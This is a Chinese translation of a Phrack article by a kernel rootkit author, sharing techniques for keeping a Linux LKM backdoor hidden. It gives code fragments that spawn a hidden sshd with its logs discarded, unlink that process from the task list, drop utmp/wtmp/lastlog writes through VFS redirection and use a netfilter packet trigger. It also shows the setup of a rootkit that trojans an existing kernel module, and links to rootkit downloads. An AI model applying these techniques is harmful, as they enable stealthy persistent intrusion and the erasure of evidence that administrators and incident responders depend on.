基于内核的rookit经验==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile 0x0e of 0x0f
|=-------------------------------------------------------------------=|
|=----------------=[ Kernel Rootkit Experiences ]=-------------------=|
|=-------------------------------------------------------------------=|
|=----------=[ Author: stealth <stealth@segfault.net> ]=-------------=|
|=-------------------------------------------------------------------=|
|=----------=[ Translator: osmose <osmose@ph4nt0m.net> ]=------------=|
译者:感谢alert7和OYXin对我的帮助。
基于内核的rookit经验
--[ 内容
1 – Introduction
2 – Sick of it all?
3 - Let it log
4 - Let it rock
5 - Thinking about linking
6 - as in 2.6
7 – Last words & references
--[ 1 – Introduction
这篇文章关注的问题是基于内核的rootkit以及它在将来发展中如何受到那些“常见”后门的影响。基于内核的rookit已经面世一段时间了,而且肯定会继续存在下去,这个方向值得我们做点研究或者展望一下。
在阅读本文之前,你应该先读点关于netfilter hooks(译者注:目前一些网络过滤系统使用了hook技术,也就是一些钩子函数,在windows下属于exe执行程序类型,一般需要常驻内存)和LKM 模块重新链接的文章。(译者注:http://www.kv365.com/news/393.html这是一篇关于LKM后门的一篇不错的文章。w00w00有一篇关于LKM hacking的文章,地址是http://www.w00w00.org/files/articles/lkmhack.txt。 大鹰曾经翻译过,http://www.e4gle.org/e4gle_writing/kernel_hacking.txt。)本文下面要谈的后门执行以及一些代码片断都涉及到这些知识。
不要把这篇文章太当回事。如果你大概的浏览一下就会发现这并不是一篇关于如何hack的教学。我只是讲述一点作为“adore后门作者(adore author)”,我去年的一些经历。(译者注:adore是一个LKM后门)这些经历包括在一些会议上为难那些头头,演讲中提出的一些稀奇古怪的问题,那些十万火急的求助信,IRC里的“adore后门垃圾(adore sucks)”的称号,以及来自.edu网站的祝贺等等。
--[ 2 – Sick of it all?
rootkit, 尤其是那些基于内核的rootkit,早在几年前就出现了。在这个方面已经有了一些研究成果。优秀成果很多,但是垃圾作品更多。如果你因为这个从来不看rootkit的文章,我表示充分的理解。良莠不齐,这实在让人头疼。然而,一些新的问题已经崭露头角并且以后会被rootkit(确切点说是他们的作者)关注。这些问题包括以下几个方面,当然并不仅仅包括这几个方面:
- 新的内核版本以及零售商的改进
- 一些重要符号已不再导出(也就是sys_call_table)
- 高级的日志功能和监听原理
- 内核固化,安全的操作系统,等等
- 入侵检测/异常行为侦测
- 高级的应急响应工具和分析手段
实际上,在我做的adore-ng里面就涉及到上面的这些问题,比如我下面要说到的通过VFS层的重定向避免使用sys_call_table[],其中一部分还是当前正在研究的课题。Rootkit一般都包括[u,w]tmp文件的日志清除功能,但是这个功能和入侵者的“只需要最低权限”的原则相抵触。于是这个原则后来演化成“给系统添加最少的东西”。 所以我们的一个努力方向就是避免日志记录,要在后门的级别上(比如我们例子中的LKM级别)做到在目标机器上尽可能少的留下痕迹。
安全操作系统这个话题值得另开炉灶大书一笔。我也想好了自己要做那方面的内核固化。:-)
--[ 3 Let it log
某个应急响应安全公司在一个大学举办了一次关于rootkit的演讲,在演讲期间我想到一些不错的办法可以提高rootkit的隐蔽性。
目前,一些高手可能已经不再给sshd二进制文件做什么补丁修改了。取而代之的是在一些地方放置一些适当权限的令牌(是的,对于应急响应这个工作来说,分布式认证机制是一个难伺候的东西)。因此,如果一个入侵者打算使用一些标准工具(他也可以安装一些以前卸载过、已经缺失的库或者包;如果有三个管理员的话,你知道是哪个人在pc-5073这台机器上安装了openssh包吗?),一个LKM的rootkit在某种程度上必须确保把sshd发出的日志消息发送到空设备上,也就是/dev/null。比如下面这样:
static int ssh(void *vp)
{
char *a[] = {"/usr/bin/perl", "-e",
"$ENV{PATH}='/usr/bin:/bin:/sbin:/usr/sbin';"
"open(STDIN,'</dev/null');open(STDOUT,'>/dev/null');"
"open(STDERR,'>/dev/null');"
"exec('sshd -e -d -p 2222');",
NULL};
task_lock(current);
REMOVE_LINKS(current);
list_del(¤t->thread_group);
evil_sshd_pid = current->pid;
task_unlock(current);
exec_usermodehelper(*a, a, NULL);
return 0;
}
这个看起来可以称得上netfilter hooks的kernel_thread()函数了吧?
程序里的"-e" 是为了让sshd把日志发送到stderr,在我们这个例子里也就是/dev/null(译者注:就是“exec('sshd -e -d -p 2222'); ”这句里的参数)。 看起来不错吧。
"-d" 是一个开关,用来禁止sshd创建新的进程。这样做的好处是,当入侵者登陆的时候,不会有什么端口被打开,别人也无法察觉。
REMOVE_LINK() 隐藏了这个进程,ps看不到,其他类似的工具也看不到。
要打开stdin这些设备,你需要使用perl,因为程序里的exec_usermodehelper()函数会在启动sshd之前关闭所有的文件。为什么要关闭所有的文件呢?因为这样,当sshd带“-e”参数运行时,stderr就和那些sockets混在了一起,分不出来了。
要躲过utmp/wtmp/lastlog这些日志操作可以用下面的方法:
// 父进程必须是那个恶意的sshd(因为子进程是作为一个shell记录日志的)
if (current->p_opptr &&
current->p_opptr->pid == evil_sshd_pid && evil_sshd_pid != 0) {
for (i = 0; var_filenames[i]; ++i) {
if (var_files[i] && f->f_dentry->d_inode->i_ino
==var_files[i]->f_dentry->diodes->i_ino) {
task_unlock(current);
*off += blen;
return blen;
}
}
}
上面的程序判断sshd是否记录日志或者试图把[u,w]tmp入口写入一些文件。当然啦,我们还要把write()函数在VFS层里重定向, 并且检查inode数目以过滤掉正确的写操作。(译者注:http://www.mcsr.olemiss.edu/cgi-bin/man-cgi?inode+4 在这里你可以找到一些关于inode的说明)实际上,我们还要检查superblock。不过我觉得sshd不会带着相同的inode#在另一个磁盘空间写文件。
当有人登陆的时候,一些 pam 模块就会打开一个session。所以,尽管那个恶意的sshd使用了log重定向,pam_unix2这样一个为用户启动的session 还是会被记录在案。
好了,看起来log的问题在以后的后门或者rootkis里还是可以解决的,而且我们用不着在系统的二进制代码方面纠缠太多。
--[ 4 Let it rock
要启动一个恶意的sshd需要一定的触发条件,所以平时用nmap扫描不会找到任何开放的端口。当然啦,网络过滤方面的文章向你展示了如何自己建一些 icmp-hook 来做这些事情。这里不再赘述,听我说还不如去看看那些文章。不过有一点:根据我的经验,你不能直接从hook里启动一个程序。
如果一个服务程序运行时被打断,而hook恰好因为某种原因困在里面,这会引起系统内核崩溃。要解决这个问题,在启动sshd之前,我们需要设置一个标志来判断sshd是否可以启动:
if (hit && (hit-1) % HIT_FREQ == 0) {
write_lock(&ssh_lock);
start_ssh = 1;
write_unlock(&ssh_lock);
return NF_DROP;
}
不管怎么说,我们的工作都是混迹于VFS层里的,我们还要把open()函数的呼叫(/etc掌控的特定文件系统(FS)发起的呼叫)重定向。这样下一个进程如果使用了同样文件系统(FS)打开文件,恶意的sshd就会启动。
这个进程有可能是管理员执行的一个”ls”命令,也可以是我们通过一个真实的sshd来触发它,例子如下:
root@linux:root# telnet 127.0.0.1 22
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.5p1
SSH-2.0-OpenSSH_3.5p1 <<<<< 这是发起攻击的人的行为
Connection closed by foreign host.
在我的机器上,这会引起真正的sshd记录日志:
sshd[1967]: fatal: No supported key exchange algorithms
如果不输入一个正确地协议字符串(a valid protocol-string),你的ip会被记录如下:
sshd[1980]: Bad protocol version identification '' from ::ffff:127.0.0.1
或许还有其他一些像httpd的服务(这些服务不记录日志)会因为打开文件这样的一个操作触发恶意sshd的启动。
显而易见,对于一个内核rootkit来说,拦截一些log消息还是可能的,但是这取决于应用程序以及你对这个程序的了解,比如它在什么时候记录日志,记录些什么。这不是件容易的事。不过在将来,入侵者可能会使用类似涂抹的手段(比如涂抹每一个由隐藏shell写出的log数据)。这样可以把所有管理员认为对入侵检测有用的日志都破坏掉。
--[ 5 Thinking about linking
有一篇关于感染LKM(LKM infection)的文章,请读一读,那的确值得你化点时间看看:-)
(译者注:就是本期phrack里面的《Infecting loadable kernel modules》)
不过,也不需要沉溺于ELF文件格式。用一个简单的mmap()函数替代 init_module()和cleanup_module()就足够了。一个rootkit必须包括这部分程序,因为rootkit一定要方便操作,这样管理员可以轻松的在一个蜜罐系统(honeypot system)里做设置:
root@linux:zero# ./configure
Starting configuration ...
generating secret pattern ...
\\x37\\x8e\\x37\\x5f
checking 4 SMP ... NO
checking 4 MODVERSIONS ...NO
你的隐蔽的ping命令写成: ping -s 32 -p 378e375f IP
root@linux:zero# make
cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
-O2 -Wall zero.c
cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
-O2 -Wall -DSTANDALONE zero.c -o zero-alone.o
cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
-O2 -Wall cleaner.c
root@linux:zero# ./setup (译者注:下面是zero配置的经过)
可以用下面的lkm模块:
af_packet ppp_async ppp_generic slhc iptable_filter
ip_tables ipv6 st sr_mod sg
mousedev joydev evdev input uhci
usbcore raw1394 ieee1394 8139too mii
scsi cd cdrom parport_pc ppa
Chose one: sg (在上面这些模块里选一个sg模块)
Choice was >>>sg<<< (注意了:我们的选择是sg)
Searching for sg.o ... (搜索一下它的位置)
Found /lib/modules/2.4.20/kernel/drivers/scsi/sg.o! (找到它的位置)
Copy trojaned LKM back to original LKM? (y/n) (准备插入)
...
(译者注:自从你选定了sg模块以后,上面这些过程应该都是由zero独自完成的,希望后面的中文注释没有干扰您的理解)
zero.o 是为一个选定模块的重链接做准备的,但是由于这个object文件已经插入内核里了,所以入侵者需要另一个独立的模块:
zero-alone.o。
想了解更多的关于链接的内容以及用于不同平台的手法,请看看参考资料[1]里的一些文章。
--[ 6 as in 2.6
就在我写这篇文章的时候,Linux 内核的2.6版本已经处于测试阶段了,不久第一个正式版就会推出。所以,这正是我们给它挑刺的时候。在参考资料[4] 里,你会发现一个adore-ng的版本,而且这个版本已经用在Linux kernel 2.6里了。
除了关心rootkit需要的那些新的头文件(headers),我们还得把一些需要重定向的函数的签名(signature)也改了。这不是什么太难的事情,也没有多大的挑战性。要注意的细节是:那些init和cleanup函数都必须通过另一种途径向LKM的载入程序做出声明:
#ifdef LINUX26
static int __init adore_init()
#else
int init_module()
#endif
and
static void __exit adore_cleanup()
#else
int cleanup_module()
#endif
...
#ifdef LINUX26
module_init(adore_init);
module_exit(adore_cleanup);
#endif
这也不是什么大不了的事情。 Adore-ng 已经使用新的VFS技术来隐藏文件和进程了,所以我们也不需要太关注sys_call_table这个层。
把adore整合到2.6版本内核过程中最花时间的就是找出LKM究竟是怎么打造出来的。这不仅仅是把他们“cc”到一个object就可以解决的。你必须把它和其他一些从c文件编译得到的object文件链接起来。那些c文件包含了特定的infos和属性,比如:
MODULE_INFO(vermagic, VERMAGIC_STRING);
我不知道他们为什么要包含这些东西。
这都是为了2.6做的!没有什么新鲜的地方,除了内核中使用的一些hooks值得一看。:-)
--[ 7 Last words & references
zero 这个rootkit并不隐藏文件。它只是从任务列表里去掉了恶意的sshd进程从而隐藏它。不过如果这个rootkit进程或者它的子进程让系统“停下来(halt)”,那可就不妙了。我曾在一个SMP系统上测试这个rootkit,不论我用原来的办法还是考虑到版本不同使用“-f”insmod switch,它都被阻塞住了。如果谁希望得到一个使用SMP box的许可(当然是合法的啦),可以告诉phrack team或者我本人。zero只供试验使用,所以不要向我抱怨它没有GUI或缺少其他的功能。
一些连接(译者注:就是前文提到的参考资料):
[1] Infecting Loadable Kernel Modules (在本期phrack中)
[2] Hacking da Linux Kernel Network Stack (在本期phrack中)
[3] http://stealth.7350.org/empty/zero.tgz
(soon appears at http://stealth.7350.org/rootkits)
[4] http://stealth.7350.org/rootkits/adore-ng-0.24.tgz
译者:这是我第一次翻译甚至是接触内核的文章。或许有误人子弟之嫌,所以我在把握不准或者我认为有助理解的地方都保留了原文的话。希望可以弥补点自己的不足。感谢alert7大哥百忙中抽空审核本文,提出很多很好的意见,使我获益匪浅。也感谢OYXin在我翻译过程中对我的帮助,现在在你眼前的很多词句都来源于他的建议。
这篇文章总体说来还是比较直观的。会英语的人都可以翻译它,至于linux内核的真正的殿堂,我还没有触摸到。最大的收获不是技术,是alert7大哥的一句:不要急于求成。
最后,感谢您阅读本文。欢迎转载,但请保留本文的完整性,谢谢。
|=[ EOF ]=-----------------------------------------------------------=|